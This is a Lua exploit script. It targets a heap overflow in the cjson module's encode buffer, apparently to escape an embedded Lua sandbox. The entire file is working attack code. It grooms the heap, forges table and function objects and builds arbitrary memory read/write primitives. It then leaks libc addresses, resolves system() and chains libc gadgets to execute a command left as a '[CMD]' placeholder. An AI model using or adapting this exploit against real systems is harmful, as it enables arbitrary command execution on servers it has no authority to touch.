local n_expand = 5462
local n_spray = 0x10000
local string_overhead = 24 + 1 + 8 -- sizeof(TString): 24, NULL terminator: 1, malloc chunk overhead: 8

local LUA_TNIL      = 0
local LUA_TBOOLEAN  = 1
local LUA_TLIGHTUSERDATA = 2
local LUA_TNUMBER   =  3
local LUA_TSTRING   = 4
local LUA_TTABLE    = 5
local LUA_TFUNCTION =	6
local LUA_TUSERDATA =	7
local LUA_TTHREAD   = 8

local function exploit()
   ---------------
   -- Utilities --
   ---------------
   local function p64(val)
      -- 0xcafebabe --> "\xbe\xba\xfe\xca\x00\x00\x00\x00"
      local s = ""
      for i = 0, 7 do
         s = s .. string.char(val % 0x100)
         val = math.floor(val / 0x100)
      end
      return s
   end

   local function addrof(obj)
      local s = tostring(obj)
      if s:sub(1, 1) == "t" then
         -- "table: 0xdeadbeef" --> 0xdeadbeef
         return tonumber(s:sub(8, s:len()))
      else
         -- "function: 0xdeadbeef" --> 0xdeadbeef
         return tonumber(s:sub(11, s:len()))
      end
   end

   local function bytes_to_double(data)
      -- #data == 8
      return struct.unpack('d', data)
   end

   local function double_to_int(data)
      -- #data == 8
      return struct.unpack('L', struct.pack('d', data))
   end

   local function int_to_double(data)
      -- #data == 8
      return struct.unpack('d', struct.pack('L', data))
   end

   --
   -- Avoid GC
   --
   local refs = {}
   local refs_i = 1
   for i=1, 100000 do
      refs[i] = 0
   end

   --
   -- Make 0x40000000 bytes string
   --
   local b = ''
   local number_strings = {}
   for i=1,0x40000 do number_strings[i] = string.format("%08x", i) end
   b = table.concat(number_strings)
   for i=1, 2 do
      b = b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b .. b
   end

   local string_source = b;

   --
   -- Get the "low" address of heap
   --
   local heap_addr_leaker = {}
   local fake_array_base = addrof(heap_addr_leaker)
   -- error(("fake_array_base: %x"):format(fake_array_base))

   --
   -- Allocate an array used for AAR/AAW
   --
   local owow_array1 = nil
   local owow_array1_addr = nil
   for i=1, 100 do
      local _arr = {}
      local _addr = addrof(_arr)

      refs[refs_i] = _arr
      refs_i = refs_i + 1

      if _addr > fake_array_base then
         owow_array1 = _arr
         owow_array1_addr = _addr
         break
      end
   end
   if owow_array1 == nil then
      error("failed to allocate owow_array1 behind fake_array_base")
   end
   for i=1,10000 do
      owow_array1[i] = 0
   end
   -- error(("owow_array1_addr: %x"):format(owow_array1_addr))

   --
   -- Create a fake table object
   --
   local fake_table_template = (
      "SSSSSSSSFF" -- (pad for address 0xXXXXXX2'2')
      .. "\000\000\000\000\000\000\000\000" -- *next
      .. "\005" -- tt (LUA_TTABLE)
      .. "\001" -- marked
      .. "\000" -- flags
      .. "\000\000\000\000\000"
      .. "\000\000\000\000\000\000\000\000" -- _padding_
      .. "\000\000\000\000\000\000\000\000" -- *metatable
      .. p64(fake_array_base) -- *array --> low heap address
      .. "\000\000\000\000\000\000\000\000" -- *node
      .. "\000\000\000\000\000\000\000\000" -- *lastfree
      .. "\000\000\000\000\000\000\000\000" -- *gclist
      .. "\255\255\255\127\000\000\000\000" -- sizearray
   )
   if #fake_table_template ~= 82 then
      error(#fake_table_template)
      error("DO NOT CHANGE LENGTH")
   end

   -- This object will be used later for arbitrary addrof/fakeobj
   local leaker_array = {0, 0}
   -- error(("leaker_array: %s"):format(tostring(leaker_array)))

   collectgarbage()

   --
   -- Prepare heap expander
   --
   local heap_expand = {}
   for i = 1, n_expand do
      heap_expand[i] = 0
   end

   -- Prepare BOF payload
   --           ==[overflow]==>
   --           ----+-----------------+
   --               |  victim chunk   |
   --           ... |  size  |  data  |
   --           ----+-----------------+
   --  ow_offset    |-8      |0
   local ow = "abcdefghijklmnop"
   local ow_offset = -16
   local evil = string.sub(string_source, 1, n_expand * 0x10000 + 0x1ff90 + 0x4010 + ow_offset - 1) .. ow -- Note: '"' (1 byte) appended.
   if #evil * 6 < 0x80000000 then
      error("too short")
   end
   -- error(("#evil: %d"):format(#evil))

   --
   -- Prepare fake table & victim table
   --
   local fakes_s = {}
   local fakes_t = {}
   local fakes_num = 100
   for i=1,fakes_num do
      fakes_s[i] = 0
      fakes_t[i] = 0
   end
   for i=1,fakes_num do
      fakes_s[i] = fake_table_template .. number_strings[i]
      fakes_t[i] = {}
   end

   local target_ptr = nil
   for i=fakes_num,1,-1 do
      -- 0xXXXX22 fake table
      -- 0xXXXX80 table
      -- Note: Difference of addresses depends on #fakes_s[i]. DO NOT change the length
      if tostring(fakes_t[i]):sub(-2) == "80" then
         target_ptr = fakes_t[i]
         break
      end
   end
   -- error(("target: %s"):format(tostring(target_ptr)))

   --
   -- Make these arrays later.
   --
   local spray_holder = {}
   for i=1,128 do
      spray_holder[i] = {}
   end
   -- error(("spray_holder: %s"):format(tostring(spray_holder)))

   --
   -- Flush allocator caches
   --
   for i=1,0x42 do
      for j=1,200 do -- To increase reliability, make more iterations.
         refs[refs_i] = string.sub(string_source, 8*(j-1)+1, 8*(j-1)+1 + math.max(0, i*0x10 - string_overhead) - 1)
         refs_i = refs_i + 1
      end
   end
   for i = 1, 256 do
      refs[refs_i] = { string_source:byte(1, 0x1000 - 1 - 5) }
      refs_i = refs_i + 1
   end

   --
   -- Allocate encode_buf from top. (actual chunk size: 0x1ff90)
   --
   cjson.encode_keep_buffer('on')

   local top = string.sub(string_source, 0, 0x4000 - string_overhead - 1)
   local result = cjson.encode(top) -- Note: this allocates 0x4010 bytes for return value.

   --
   -- Expand heap to avoid crash
   --
   for i = 1, n_expand do
      -- alloc chunk 0x10000
      -- heap_expand[i] = string.sub(string_source, 1 + 8*(i-1), 1 + 8*(i-1) + 0x10000 - string_overhead - 1)

      -- [ALT] alloc chunk 0x50 + 0xffb0
      heap_expand[i] = { string_source:byte(1, 0x1000 - 1 - 5) }
   end

   --- Now the objects align like the figure below hopefully
   --- +------------+----------------------+----------------+
   --- | encode_buf | ... garbage data ... | sprayed object |
   --- +------------+----------------------+----------------+
   for i=1,#spray_holder do
      spray_holder[i][1] = target_ptr
   end

   --
   -- Trigger vulnerability: Heap overflow on encode_buf
   --
   refs[refs_i] = cjson.encode(evil)
   refs_i = refs_i + 1

   --
   -- Find the modified object from sprayed objects
   --
   local fake_array = nil
   for i=1,#spray_holder do
      -- spray_holder[i][1][1] = 0x1337
      local obj = spray_holder[i][1]
      if tostring(obj):sub(-2) == "22" then
         fake_array = obj
         -- error(("found: %d"):format(i))
         break
      end
   end
   if fake_array == nil then
      error("Bad luck...")
   end

   --
   -- Make semi-AAW/AAR.
   --
   -- error(("Table of fake array: %s"):format(tostring(fake_array)))

   -- overwrite array
   local ofs = math.floor((owow_array1_addr + 0x20 - fake_array_base) / 0x10)
   -- error(("ofs: %d"):format(ofs))
   -- error(("data: %d"):format(struct.unpack('d', p64(fake_array_base - 8))))
   fake_array[1 + ofs] = struct.unpack('d', p64(fake_array_base - 8))

   -- overwrite array
   local ofs = math.floor((owow_array1_addr + 0x28 - (fake_array_base-8)) / 0x10)
   owow_array1[1 + ofs] = 0

   -- overwrite size
   local ofs = math.floor((owow_array1_addr + 0x40 - fake_array_base) / 0x10)
   fake_array[1 + ofs] = bytes_to_double("\255\255\255\127\000\000\000\000")

   local aaw0_base = fake_array_base - 8
   local aaw8_base = fake_array_base
   local aaw0_array = owow_array1
   local aaw8_array = fake_array
   -- error(("Table of fake array: %s"):format(tostring(fake_array)))

   local function semi_aaw(addr, value)
      -- Warning: This will write 0x03 (qword) tag at addr + 8.
      local ofs = math.floor((owow_array1_addr + 0x20 - fake_array_base) / 0x10)
      fake_array[1 + ofs] = struct.unpack('d', p64(addr))
      owow_array1[1] = value
   end

   local function semi_aar(addr)
      -- Warning: This requires 0x03 (qword) tag at addr + 8.
      local ofs = math.floor((owow_array1_addr + 0x20 - fake_array_base) / 0x10)
      fake_array[1 + ofs] = struct.unpack('d', p64(addr))
      return owow_array1[1]
   end
   -- error("[+] semi-AAR/AAW created.")

   --
   -- Leak *array of leaker_array
   --
   semi_aaw(addrof(leaker_array) + 0x28, int_to_double(3)) -- LUA_TNUMBER
   local leaker_array_array_addr = double_to_int(semi_aar(addrof(leaker_array) + 0x20)) -- leaker_array->array

   --
   -- addrof() for any object
   --
   local function addrof(obj)
      leaker_array[1] = obj
      semi_aaw(leaker_array_array_addr + 8, int_to_double(3))
      return double_to_int(semi_aar(leaker_array_array_addr))
   end

   local function fakeobj(addr, tt)
      semi_aaw(leaker_array_array_addr, int_to_double(addr))
      semi_aaw(leaker_array_array_addr + 8, int_to_double(tt))
      return leaker_array[1]
   end

   --
   -- Leaks
   --


   -- Increase string size to 0x100000000000000
   -- Increase string size to 0x300000000000
   local leaker_s = "Hello"
   -- semi_aaw(addrof(leaker_s) + 16 + 7, int_to_double(0x1))
   semi_aaw(addrof(leaker_s) + 16, int_to_double(0x300000000000))
   -- error("leaker: " .. string.format("0x%x 0x%x",  addrof(leaker_s), #leaker_s))

    local function can_read(addr)
        return addr - (addrof(leaker_s) + 22 + 1) >= 0
    end

   local function read_str_at(addr, size)
       local start = addr - (addrof(leaker_s) + 22 + 1)
       return leaker_s:sub(start, start + size - 1)
   end


   local function read_i64_at(addr)
       return struct.unpack('<L', read_str_at(addr, 8))
   end

   local function read_i32_at(addr)
       return struct.unpack('<I', read_str_at(addr, 4))
   end

   local function find_libc_base(leak)
       leak = leak - (leak % 0x1000)
        -- while read_i64_at(leak) ~= 0x03010102464c4580 do
        while read_i32_at(leak) ~= 0x464c457f do
            leak = leak - 0x1000
        end
        return leak
   end

   local function find_dynamic_phdr(elf_base)
      local phead = elf_base + read_i64_at(elf_base + 32)
      local phnum = read_i64_at(elf_base + 56) % 0x10000
      for i=0, phnum do
        if (read_i64_at(phead + 0) % 0x100000000) == 2 then
            break
        end
        phead = phead + 56
      end
      local dynamic = read_i64_at(phead + 16)
      if dynamic > 0 and dynamic < 0x400000 then
        dynamic = dynamic + elf_base
      end
      return dynamic
   end

    local function find_dt(elf_base, dynamic, tag)
        while true do
            local d_tag = read_i64_at(dynamic + 0)
            if d_tag == 0 then
                return 0
            end
            if d_tag == tag then
                break
            end
            dynamic = dynamic + 16
        end
        local ptr = read_i64_at(dynamic + 8)
        if ptr > 0 and ptr < 0x400000 then
            ptr = ptr + elf_base
        end
        return ptr
    end

    local function symbol_to_gnu_hash(symbol)
        local h = 5381
        for i = 1, #symbol do
            h = (h * 33 + string.byte(symbol, i)) % 0x100000000
        end
        return h
    end


    local function resolve_symbol_gnu(libc_leak, symbol)
        local elf_base = find_libc_base(libc_leak)
        local dynamic = find_dynamic_phdr(elf_base)

        local gnu_hash = find_dt(elf_base, dynamic, 0x6ffffef5)                     -- DT_GNU_HASH
        local strtab   = find_dt(elf_base, dynamic, 5)                              -- DT_STRTAB
        local symtab   = find_dt(elf_base, dynamic, 6)
        local sym_hash = symbol_to_gnu_hash(symbol)

        -- error("libc base: " .. string.format("0x%x",  libc_base))
        -- error("dynamic: " .. string.format("0x%x",  dynamic))
        -- error("gnu_hash, strtab, symtab: " .. string.format("0x%x, 0x%x, 0x%x",  gnu_hash, strtab, symtab))
        -- error(symbol .. " " .. string.format("0x%x", sym_hash))                             -- DT_SYMTAB

        local nbuckets  = read_i32_at(gnu_hash + 0)
        local symndx    = read_i32_at(gnu_hash + 4)
        local maskwords = read_i32_at(gnu_hash + 8)

        local buckets = gnu_hash + 16 + ((64 / 8) * maskwords)
        local chains = buckets + (4 * nbuckets)


        local bucket = sym_hash % nbuckets
        local ndx = read_i32_at(buckets + bucket * 4)
        if ndx == 0 then
            return 0
        end

        local chain = chains + 4 * (ndx - symndx)

        for i=0,0x1000 do
            local sym_hash2 = read_i32_at(chain + i * 4)
            if bit.band(sym_hash, 0xfffffffe) == bit.band(sym_hash2, 0xfffffffe) then
            -- if sym_hash == sym_hash2 then
                local sym = symtab + (24 * (ndx + i))
                return elf_base + read_i64_at(sym + 8)
            end
        end

        return 0
    end


   -- local l = read_i64_at(0x7ffff7e23010)
   -- error("leak test: " .. string.format("0x%x", l))
    local stack_leak = 0
    local libc_leak = 0

    local coro = 'xxx'
    local coro_fn = function()
        local coro_addr = addrof(coro)
        stack_leak = read_i64_at(coro_addr + 0xa8)
        -- libc_leak  = read_i64_at(stack_leak + 0x88)

        local i = 0
        while libc_leak == 0 do
            local cand = read_i64_at(stack_leak + i * 8)
            i = i + 1
            if cand > 0x7f0000000000 and cand < 0x800000000000 then
                libc_leak = cand
                coroutine.yield()
            end
        end

    end

    coro = coroutine.create(coro_fn)
    while not can_read(addrof(coro)) do
        coro = coroutine.create(coro_fn)
    end
    coroutine.resume(coro)

   -- error("stack_leak / libc_leak at " .. string.format("0x%x, 0x%x", stack_leak, libc_leak))


   local system_addr = resolve_symbol_gnu(libc_leak, "system")
   -- error("system at " .. string.format("0x%x", system_addr))


   local libc_base = find_libc_base(libc_leak)
   local finder = read_str_at(libc_base, 0x150000)


   -- mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x10];
   local start_index, end_index = string.find(finder, "\72\139\56\72\139\71\56\255\80\16")
   local gadget1 = libc_base + start_index - 1
   -- error("gadget1 at " .. string.format("0x%x", gadget1))

   -- call qword ptr [rax + 0x18];
   local start_index, end_index = string.find(finder, "\255\80\24")
   local gadget2 = libc_base + start_index - 1
   -- error("gadget2 at " .. string.format("0x%x", gadget1))

   local ptr_ptr = (p64(gadget2) .. p64(system_addr))

   local cmd = "[CMD]"
   local rdi = (
       cmd
       .. string.rep("\0", 56-#cmd)
       .. p64(addrof(ptr_ptr) + 0x18 - 0x10)
       .. p64(0)
    )

   local fake_function = (
      p64(addrof(rdi) + 0x18) -- 00h
      .. p64(0x010106)
      .. p64(0)
      .. p64(0)
      .. p64(gadget1)
      .. p64(0)
      .. p64(0)
      .. p64(0)
   )

   local fake_function = fakeobj(addrof(fake_function) + 0x18, 6)
   fake_function()

end

exploit()